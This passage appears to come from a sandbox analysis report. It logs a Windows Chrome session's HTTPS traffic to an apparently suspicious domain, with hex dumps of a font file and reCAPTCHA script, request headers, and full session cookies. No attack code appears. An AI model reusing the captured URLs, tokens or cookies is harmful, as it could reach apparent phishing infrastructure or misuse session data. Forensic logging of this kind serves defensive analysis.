ab 6f b8 e5 b6 3b 6e 6a 3e 07 38 ea e2 92 Data Ascii: aF{CW7%}l]xC&${fxjU=6V/}8\U$)WZsjyku<N])(_lqxA;6sZ]N]nvm3\|saGJCz>+0?_ryCd OEo;nj>8
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: e7 e2 34 0b 2d ab af a9 57 67 f7 51 bd 61 37 69 bc 69 4b 76 78 bf 58 39 1e 64 1d 8e 2d 52 6f f1 43 6b ea a6 58 f8 13 68 45 70 b2 db 5a 4d d1 66 ac 0c bc b8 74 db ad f6 4c df 84 10 7c 9b 9c ea 48 0d 9c 0e 4c d5 de a5 81 a8 4e 91 7e be 3d c8 de d1 df a1 59 98 3a 2d 47 0e ae f9 33 c0 16 17 db ed 6f c8 04 34 b3 31 0a 82 b1 49 41 13 32 21 98 26 40 6b 46 10 cc 4d d0 02 82 65 02 75 ad 08 82 b5 09 da 40 b0 4d 80 d2 8e 20 d8 9b a0 03 04 c7 04 5a 3a 11 04 67 13 74 81 e0 9a 40 43 37 82 e0 6e 82 1e 90 ef 09 85 af e3 7e 79 b3 a8 3c 1f af a3 ea b7 59 3a 65 d4 f0 e9 2e 26 f6 67 88 bf 3c 17 fe 4a 7d 86 6f b3 d4 df 1f 89 7f d8 c2 3f 29 f0 6b 96 fb f7 23 f1 1f 5b f8 2f 05 29 b5 c1 3b 3f f9 d3 9d 6f 74 4d 92 6e c1 9b 60 e7 5b 3f ce 93 de be b6 0e 52 ab 33 bf 5e c8 c7 d5 43 Data Ascii: 4-WgQa7iiKvxX9d-RoCkXhEpZMftL\|HLN~=Y:-G3o41IA2!&@kFMeu@M Z:gt@C7n~y<Y:e.&g<J}o?)k#[/);?otMn`[?R3^C
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 34 18 9e c9 86 8a fb 19 1b 9a 4e 20 d9 ad ef 8f d4 83 74 ce bb a7 2e 77 88 ac c3 8d 0f b2 51 bb 08 c0 b8 d9 ad 54 c6 3f f5 45 b6 35 f7 cb 1c cb 38 c1 a2 9a 9b bb 68 e1 2e a8 d4 0d b2 c4 ad c9 e2 ab a1 8d df 65 cf 1b 09 af e5 6d 50 2f b2 bc d5 91 41 8b 0c 3c 2c db 32 2a a4 e0 28 ad 42 06 2b ca c1 98 40 6d ea 72 b4 be d5 41 a6 7d 2b 6b 37 24 85 3a 61 fd 7c 04 75 c4 5f a6 e5 5d 66 a6 df a4 f5 e8 28 89 3d ab 0b 0c 6c b4 d2 a8 77 7e 3e 40 5f 74 8d 57 30 00 c5 e8 bd 8c fd d4 dc ad 43 5d 93 64 52 3e 47 47 5e f4 3b 0c 17 af f2 bd 11 03 7d e5 8b 1d 0d ae ad 1d c8 4c ce ae 60 97 20 5d 60 73 e9 4d 28 9e fa 17 4a 14 06 9a f3 51 58 d3 87 f7 f0 6a a7 e7 02 f1 7c a6 6b c0 5a 9c a6 71 a7 6d 77 5c a5 e4 ea 23 ea 5a 6c 9c d5 7a 09 7f 9a b1 87 11 03 90 28 34 e5 6a cc db 32 Data Ascii: 4N t.wQT?E58h.emP/A<,2*(B+@mrA}+k7$:a\|u_]f(=lw~>@_tW0C]dR>GG^;}L` ]`sM(JQXj\|kZqmw\#Zlz(4j2
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: e9 23 e8 b0 43 69 8b 41 c0 80 54 b8 1b 3b bc 73 32 24 3c dc a9 94 c8 fd c4 62 cb 69 1a e0 6f 82 ae 79 55 71 5b e8 20 f7 e1 10 fc 2e 89 29 19 ad 45 f6 10 16 12 7c 7b a9 ae e7 89 03 39 7c 32 4f 25 b8 b1 a6 79 4b 84 ec 81 38 13 20 4f dd db 92 0a 82 ab 02 5f f7 76 1d b5 70 ff 5a 4b 61 e9 9a f0 b4 c9 a7 65 19 99 eb d2 ff cc 5a 1d d5 ad 3d a9 dc d7 3f d7 04 87 47 ae d8 83 2a ec 4b 7a 32 cf 40 de 17 24 b5 27 3d fc 70 e1 7d f8 26 a9 fd b4 70 3c ba 84 97 64 67 4b 73 47 73 22 75 e1 a6 a3 95 79 c9 7d 3a f9 6e a4 ea 9e bf 47 78 1c db ef 7d 70 0e 4a d9 66 b0 6f fb 0a db de d6 5b 5f a7 6d 6d aa e6 3b 4c 81 04 ba 0d be 91 ce 1f e7 b8 cc ce 72 36 ce 9f f8 4b 3e f6 63 d0 39 da 99 e1 24 58 ef ad ce 1d 15 87 68 95 9d 29 d7 2d 75 09 b7 74 bd 2b 99 86 a9 ef 3b 52 06 06 93 98 Data Ascii: #CiAT;s2$<bioyUq[ .)E\|{9\|2O%yK8 O_vpZKaeZ=?G*Kz2@$'=p}&p<dgKsGs"uy}:nGx}pJfo[_mm;Lr6K>c9$Xh)-ut+;R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.16	49781	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:53 UTC	1481	OUT	GET /45BUs76lI5VisV6D7NxeT90YLF5l4Exy70 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://4quqe.oustfemin.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:54 UTC	636	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:54 GMT Content-Type: font/woff Content-Length: 36696 Connection: close Content-Disposition: inline; filename="45BUs76lI5VisV6D7NxeT90YLF5l4Exy70" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i24o%2BGh%2FvcQUW6zSZOSQdgO04rfIKLMFYEzLgO8%2B1ELOCR9skg8CBiChxUWtS%2FuuqTLT5ddMCHuj1J3QdX5KOhpL%2BuA40ZzTXGmHrd7L3pd1lnSU0%2BWdFZndb%2F1W8w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc06a3d5d431c-EWR
2024-08-23 14:21:54 UTC	733	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8f 58 00 11 00 00 00 01 36 90 00 01 00 00 00 00 8e 30 00 00 01 28 00 00 02 97 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8e 28 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 18 99 00 00 5e 3e 80 e1 18 da 47 53 55 42 00 00 1a 1c 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c cc 00 00 00 46 00 00 00 60 68 60 7b 5a 63 6d 61 70 00 00 1d 14 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 87 b0 00 00 00 30 00 00 00 3c 28 d6 01 ad 66 70 67 6d 00 00 87 e0 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 87 a8 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 22 30 00 00 54 6c 00 00 a0 68 11 94 2e 2b 68 65 61 64 00 00 76 9c 00 00 00 34 00 00 00 36 1a bb 7d da 68 68 65 61 00 00 76 d0 00 00 00 Data Ascii: wOFFX60(DSIG(GPOS^>GSUB3yOS/2F`h`{Zcmap<?+cvt 0<(fpgm?gaspglyf"0Tlh.+headv46}hheav
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 4a a3 6c ca a1 1e 94 47 bd e8 4c ba 90 ee a5 9f 20 67 2a 4d a7 b7 68 2e cd a3 c5 b4 94 96 51 21 7d 42 c5 b4 9a d6 51 09 6d a4 4d b4 85 b6 52 1d 35 2a bf 4a 55 69 2a a8 f2 55 5f 35 40 5d ae ae 50 57 aa 81 ea 2a 35 48 0d 56 57 ab 6b d4 b5 ea 3a 35 44 5d af 6e 50 23 d4 18 35 56 3d a9 c6 a9 a7 d4 78 f5 b4 9a a0 9e 57 2f a8 89 ea 45 35 49 bd 04 8a 4e 56 53 d4 54 d0 75 ba 9a a1 5e 55 33 d5 5f d4 1b ea 6d 35 47 2d 50 8b d5 12 55 a8 8a d4 47 6a 95 2a 56 ab d5 a7 6a 8d 5a ab d6 a9 f5 6a a3 da 42 4a bd ca 5f 50 77 ca e3 30 f5 e2 66 2a 00 8f 96 71 13 95 f0 71 35 96 f7 aa 27 b9 46 3d 4d 49 6a 02 37 a8 e7 91 5e e0 66 f5 22 87 d5 4b 5c a1 a6 70 48 4d 43 de 74 a4 57 b9 5a cd 42 7a 9d eb d5 6c 94 2b c6 b3 b5 d4 85 ce 01 65 7c a0 8d 0f b5 1e a5 42 3e 8e 9a 0f a9 31 a8 61 Data Ascii: JlGL gMh.Q!}BQmMR5JUiU_5@]PW5HVWk:5D]nP#5V=xW/E5INVSTu^U3_m5G-PUGjVjZjBJ_Pw0fqq5'F=MIj7^f"K\pHMCtWZBzl+e\|B>1a
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 03 30 68 c0 7b 3e 7d 27 14 ca 17 bd 07 be a8 a9 00 2d 3a 4f d6 e1 0d 70 0b f4 8a e0 9c a5 69 07 3a 1f c1 db c9 f0 f2 79 f0 13 cb e0 fb fc c6 27 ed b7 bd 3d ac 5d 21 b0 b3 ad 2e f0 04 b6 61 ad 5b 68 b9 10 b6 63 0c 3c e1 58 d8 86 27 79 35 f4 ca 6f ac ef 26 d1 a5 c9 90 86 a9 90 f9 69 22 b5 b0 ba d0 e2 57 91 3f 13 16 73 16 f2 6d 3b a2 71 98 0b 1d 50 b6 05 84 34 c3 fa 42 92 0b d0 aa e6 6b 37 48 d4 71 d4 7f 5c fc e1 04 d0 60 32 d2 62 78 80 25 48 ef 23 2d 43 fa 00 e9 23 3c d7 5a b0 1a e9 53 d4 8f 5e 2b 44 95 6a 23 d2 56 cd 69 60 9a 05 8c 2c 48 45 12 da 1b 83 de 2a b5 1c 12 aa 5c 49 a8 43 cf ab 5d 39 3a 6c ee 2c 91 23 94 c2 73 4d 5d 0b 3c b2 0c 7d d2 9d a7 f0 54 bd 78 ab a3 2d 42 73 e5 bc c7 db 28 69 e8 49 1d e1 0e 9b 78 fb 40 7a 88 ee 43 9c 7c 14 3c 48 e2 30 b0 Data Ascii: 0h{>}'-:Opi:y'=]!.a[hc<X'y5o&i"W?sm;qP4Bk7Hq\`2bx%H#-C#<ZS^+Dj#Vi`,HE*\IC]9:l,#sM]<}Tx-Bs(iIx@zC\|<H0
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: f5 0e 4a cf 4c 82 83 b1 89 86 cc 2c 49 c7 f0 4d 56 64 3e 23 ce b8 34 d4 96 47 4a c0 1c 9f 8f df e5 cd bc 08 e7 46 48 4a 19 62 c7 32 7b 4d 8f 27 ea 39 53 c8 f9 2e c8 fb 5e f8 a8 23 b2 9f 23 cc ab 0d ae 13 e5 b7 02 b1 e4 5e f3 64 25 c6 59 47 79 27 57 f2 6b bc 9d 17 71 0d 4a ef 32 29 64 e6 07 fd c8 0d f3 6c fe 2b ea 6c d0 ad f1 3a ea 09 3a e4 f0 74 68 df f6 d3 90 93 1a b3 57 63 bf f6 a8 68 37 cc 27 a1 a7 e9 68 b5 0a d7 0d 7a 3f a4 94 39 89 9e 85 1d 49 32 eb 54 3a bf 41 ae cc 6c 1f 3c b0 de 37 67 8f 01 8f 00 b7 9a d8 75 4d ae b4 25 0e 6d c9 3b f6 1e 10 a1 d8 5e b4 54 8d f4 85 ec 5f 3c c5 11 ab 67 ec 5a a7 77 cc a0 be 2e da da c8 b5 a6 d6 49 b3 93 c6 2e d5 d8 b6 7c b8 e5 6a 65 1e 2d 26 9e 73 c6 8d ba d7 72 11 33 17 78 ea 78 9b f2 7a bd 63 8f e7 be d6 9e 05 06 Data Ascii: JL,IMVd>#4GJFHJb2{M'9S.^##^d%YGy'WkqJ2)dl+l::thWch7'hz?9I2T:Al<7guM%m;^T_<gZw.I.\|je-&sr3xxzc
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: d2 31 9b 8c 25 6a 63 e3 19 89 16 43 32 a2 ac 89 1e 6d 7b e6 31 7c f1 f7 3a b4 90 97 c3 ed 7d 71 d3 6e 84 68 79 ca f8 dc f1 8a 13 b3 46 8f 64 ca 90 57 04 ab fe 26 a2 a8 50 fc 31 a1 ac 4e 26 47 7d ab d2 e0 91 b2 86 88 7e c1 3e ae 8b 79 fb 60 7b 74 8e 13 fd 1f a1 b3 e5 e6 42 d7 57 d7 da bb 7d 81 6b 5b d1 7d 72 64 14 2e ba aa 47 10 8d d1 a3 4d c7 ea d9 76 a6 e5 08 d2 b5 51 8b 62 2d 64 94 25 38 e2 68 b6 89 9d c2 90 ce 46 91 fc d0 e9 7f 67 e7 e0 e8 ac fc 49 8d 8d 1a e2 cf e2 c4 e7 7f 04 5b 89 fb 43 d1 f2 e2 8e f9 8e da 56 c1 9e 6f 30 cf f6 9d de 6c 27 de 0b c0 7b d6 e9 55 03 53 4b 46 dc 79 a3 06 ef de 88 a8 16 bc 71 e4 0e 89 15 da 90 f5 76 e5 3d e8 ed 4d d4 ea 96 2f 6e 44 fe 1c 6c c5 94 f8 6b ab a2 c9 2d f7 76 46 bc 59 93 3b f7 a7 ef 8b f8 9d f6 c6 98 ed e4 57 Data Ascii: 1%jcC2m{1\|:}qnhyFdW&P1N&G}~>y`{tBW}k[}rd.GMvQb-d%8hFgI[CVo0l'{USKFyqv=M/nDlk-vFY;W
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: b4 bc 3b 1a 4f 74 cd b7 b4 03 23 80 8f 03 a3 a5 9d 78 70 bb 01 8d f1 0f 5c 20 73 e7 f4 80 90 ec 7e 38 f0 a3 56 e0 c7 e8 e3 7d d2 4f 07 7e 26 30 b2 0d b8 df c0 03 2e 8c 72 e1 9b 3a 86 21 ce e9 26 ff 3e ac d3 30 c0 1d f4 8f 92 d2 69 00 75 81 cf f2 23 ea ba 0d 25 6f 13 b8 0c de f1 3c ba 07 d0 03 5e e4 7c ba 40 f4 b7 2b d9 bb f2 f4 57 71 69 64 ff 53 f4 70 99 b5 89 9e 99 f1 fe 4b 90 d6 75 a2 3b 01 57 d2 39 f4 5d fa 07 3a 13 d1 db c5 d0 7f e7 4b e9 db 4c bb 67 9b ef 91 cf d2 91 9c 1c ff 24 a0 b5 74 03 28 ab 50 d3 19 48 fd dd 73 92 b9 b3 ef 75 3a 07 ba da 43 fe 97 ef 7c e8 aa 4f 56 06 94 bc d9 1f cf 73 64 9d f3 76 48 59 7f c1 aa 7f 14 a8 36 41 d7 e4 40 ff 56 a1 ad 12 49 1e 7c e3 bd 13 0b dd 4d fe 39 2e 24 0b f4 68 03 2c 03 29 2e f8 0c e8 9a fc a0 71 2a 24 40 ff Data Ascii: ;Ot#xp\ s~8V}O~&0.r:!&>0iu#%o<^\|@+WqidSpKu;W9]:KLg$t(PHsu:C\|OVsdvHY6A@VI\|M9.$h,).q*$@
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 52 b2 8e ea a4 0a 55 ec d4 75 da 3a bd 9d 0f 9c 63 21 39 21 b9 6e ac 3b c1 9d ee 2e 76 33 dc 15 ee 2a 77 83 bb d9 dd e7 1e 74 0b dd d3 5e 4d af 8e e7 7a 3e 2f ca 6b e9 75 f0 62 bc a5 de 0a 2f cb cb f6 d6 45 d6 8a f4 45 46 45 4e 8b 4c f6 39 be 70 5f 15 5f 75 5f 1d 9f eb 6b e6 eb e2 8b f3 3d d4 78 7b d0 09 56 fc 65 d3 59 e7 6c 68 71 b1 e9 f3 68 41 07 6e a4 2f 03 4c d7 60 46 90 ca 72 b2 58 c3 7a b9 a6 2b cf 74 fd a0 33 4e 44 a9 ae 2d 4e 41 a9 ae 18 37 d1 9d e6 2e 74 d3 dd e5 6e 96 9b e3 e6 b9 7b dc 7c f7 47 f7 94 57 c3 8b f0 ea 79 9e e9 6a e1 b5 2f d7 b5 f2 5f 75 55 fb 8b ae 81 a6 8b 60 a8 e9 52 99 2e 4d 84 e2 4d a6 2f 86 58 3a f1 f7 51 07 8a 8e 96 dd 16 0d 2b 1a 54 94 04 e7 22 8a ea f2 9f 23 98 50 be 0e 0e a6 06 63 83 93 03 e7 82 04 ce 04 7e 0d 14 06 32 02 Data Ascii: RUu:c!9!n;.v3*wt^Mz>/kub/EEFENL9p__u_k=x{VeYlhqhAn/L`FrXz+t3ND-NA7.tn{\|GWyj/_uU`R.MM/X:Q+T"#Pc~2
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 7e 58 e9 1f 1f ad 44 48 8b 78 bf 68 6e ae 66 24 8e 7d 5f 63 dd ad 18 fe a6 ff 2f f7 e0 48 1c b2 5f b8 86 07 10 29 77 0d 94 bb da 56 ae 12 b2 a3 52 05 42 25 2a c4 14 33 04 30 9f 14 5e 4b 90 15 6a 35 2d 17 f1 e9 d1 c8 8c 10 b7 07 f7 7c d3 af d8 6b dd ed c3 7e 30 12 fb 17 34 1b 0d 60 54 b1 df fa a9 f5 63 20 86 c1 4c 3a c3 70 bf e7 87 a0 95 ae a4 74 86 83 52 38 d4 c4 23 96 f5 2c c3 50 ba 17 53 ce 30 ae 2e 00 50 aa d5 6a 85 52 1b 8f 90 9e d5 b1 7a a4 65 75 f8 2d ac bd b6 ce 7a b1 ff 71 ec 9f 37 82 ee f0 43 77 d6 a3 32 e1 06 3f f4 99 35 07 ca 67 99 f7 a1 fc 9d 50 be 0f 13 ca c4 30 53 2d d9 2e 88 c7 84 7e cc 00 53 f9 46 86 65 09 e9 8c 67 99 12 71 1c e1 0e f2 42 e5 e1 61 be 9a 68 7d 58 4c 78 4c 48 90 26 d4 37 34 31 42 05 cd d2 e8 52 c3 b0 9f af 42 e9 ef ef e7 eb Data Ascii: ~XDHxhnf$}_c/H_)wVRB%*30^Kj5-\|k~04`Tc L:ptR8#,PS0.PjRzeu-zq7Cw2?5gP0S-.~SFegqBah}XLxLH&741BRB
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 92 a6 0c 98 2c f4 c0 07 71 92 20 2a ef 78 d7 b5 cd 45 45 5b 6e 74 ff e5 22 3a 74 e6 cc b9 53 7f e5 87 cc 6d c7 17 37 9e 58 9a 61 3d 8f bf da d6 df b7 4b 50 42 bd 3d a3 67 f9 eb c0 1f 2d 93 c4 58 2c 53 c3 42 43 82 7d 78 cc fa 69 c0 20 c0 a5 be 64 0a 9e 9c 65 81 01 88 31 44 07 24 05 26 01 cb b4 48 3b 39 cb 94 5a a5 81 b0 2d c3 6c 30 6b 33 32 c6 f1 0e d9 78 46 3e e7 ce fa d1 f2 57 cb 5e e9 9d 37 9c fe 79 f7 27 e9 a9 c0 3b 67 3c 3c 26 dc 5d f2 a3 e6 57 cd 53 8f 19 a3 3f 6f fc a4 ec ad c9 78 79 1f 9d 93 83 99 54 4b 12 0b 76 02 99 91 c5 a9 bf 11 b4 36 5b cb d8 4d ff be 9a a0 00 4d b0 6f b0 4e 3d cd 57 09 52 85 60 06 06 51 8d 8c 84 e9 16 f4 06 30 58 9e 7d b9 85 f7 df 83 ba 5f 10 1e 67 15 ac 70 e7 22 7a b2 f3 d1 f5 d3 05 c3 d1 fb ce 1f 12 04 f6 ee ee 1f c5 58 d7 Data Ascii: ,q *xEE[nt":tSm7Xa=KPB=g-X,SBC}xi de1D$&H;9Z-l0k32xF>W^7y';g<<&]WS?oxyTKv6[MMoN=WR`Q0X}_gp"zX
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 92 31 55 31 8b ba a8 c4 9e 12 e6 70 cf 02 bd 11 4c b9 65 66 58 28 56 91 e1 64 93 29 7b 49 42 60 ed 03 9f cb 18 22 48 2e 36 7a 83 03 35 3e 6a 6f 2f 4f 0f 91 68 05 13 81 22 5c c7 a8 b6 1b 5a 7e 9e ec 18 e9 ec db 4d dd c5 79 d6 39 63 8e 50 de 92 69 ba a9 29 09 85 41 a5 86 35 c2 9c ee ea a2 0d 46 69 bc 85 9e 62 63 a7 96 c5 98 32 8d fa e9 a6 3c 42 73 99 50 85 5d e8 fc 01 d6 90 c6 c7 45 c1 51 25 20 cf 23 ac 8d 3a 6f 4f e0 23 cc 22 dc 18 45 30 7d 8c e3 61 54 6b 6f 99 e5 62 75 53 ae 29 61 46 48 99 b1 47 a8 5a 59 5b d6 17 45 d8 15 d2 5b 98 91 13 6d 98 9e 99 4d e6 2c a1 8a ce 59 09 c4 8f 57 20 c4 c6 c5 42 3f e2 52 e2 72 d2 99 8f 8e 3e 6d 19 58 10 76 dd 69 88 0e 0c f0 d3 78 7b b9 2a 99 04 94 60 d7 9d 64 90 39 ce 6a 0a a5 82 fc df 8e 4b 47 9b 7b e3 a6 f8 4f 09 1c 20 Data Ascii: 1U1pLefX(Vd){IB`"H.6z5>jo/Oh"\Z~My9cPi)A5Fibc2<BsP]EQ% #:oO#"E0}aTkobuS)aFHGZY[E[mM,YW B?Rr>mXvix{*`d9jKG{O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.16	49785	142.250.186.36	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:53 UTC	714	OUT	GET /recaptcha/api.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlKHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://4quqe.oustfemin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:54 UTC	749	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Expires: Fri, 23 Aug 2024 14:21:53 GMT Date: Fri, 23 Aug 2024 14:21:53 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-08-23 14:21:54 UTC	641	IN	Data Raw: 35 39 61 0d 0a 2f 2a 20 50 4c 45 41 53 45 20 44 4f 20 4e 4f 54 20 43 4f 50 59 20 41 4e 44 20 50 41 53 54 45 20 54 48 49 53 20 43 4f 44 45 2e 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 3d 77 69 6e 64 6f 77 2c 43 3d 27 5f 5f 5f 67 72 65 63 61 70 74 63 68 61 5f 63 66 67 27 2c 63 66 67 3d 77 5b 43 5d 3d 77 5b 43 5d 7c 7c 7b 7d 2c 4e 3d 27 67 72 65 63 61 70 74 63 68 61 27 3b 76 61 72 20 67 72 3d 77 5b 4e 5d 3d 77 5b 4e 5d 7c 7c 7b 7d 3b 67 72 2e 72 65 61 64 79 3d 67 72 2e 72 65 61 64 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 28 63 66 67 5b 27 66 6e 73 27 5d 3d 63 66 67 5b 27 66 6e 73 27 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 66 29 3b 7d 3b 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 Data Ascii: 59a/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.g
2024-08-23 14:21:54 UTC	800	IN	Data Raw: 41 41 43 51 65 79 4a 76 63 6d 6c 6e 61 57 34 69 4f 69 4a 6f 64 48 52 77 63 7a 6f 76 4c 32 64 76 62 32 64 73 5a 53 35 6a 62 32 30 36 4e 44 51 7a 49 69 77 69 5a 6d 56 68 64 48 56 79 5a 53 49 36 49 6b 52 70 63 32 46 69 62 47 56 55 61 47 6c 79 5a 46 42 68 63 6e 52 35 55 33 52 76 63 6d 46 6e 5a 56 42 68 63 6e 52 70 64 47 6c 76 62 6d 6c 75 5a 7a 49 69 4c 43 4a 6c 65 48 42 70 63 6e 6b 69 4f 6a 45 33 4e 44 49 7a 4e 44 49 7a 4f 54 6b 73 49 6d 6c 7a 55 33 56 69 5a 47 39 74 59 57 6c 75 49 6a 70 30 63 6e 56 6c 4c 43 4a 70 63 31 52 6f 61 58 4a 6b 55 47 46 79 64 48 6b 69 4f 6e 52 79 64 57 56 39 27 3b 69 66 28 76 26 26 76 2e 63 6f 6f 6b 69 65 44 65 70 72 65 63 61 74 69 6f 6e 4c 61 62 65 6c 29 7b 76 2e 63 6f 6f 6b 69 65 44 65 70 72 65 63 61 74 69 6f 6e 4c 61 62 65 6c 2e Data Ascii: AACQeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.
2024-08-23 14:21:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.16	49784	140.82.121.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:53 UTC	656	OUT	GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1 Host: github.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://4quqe.oustfemin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
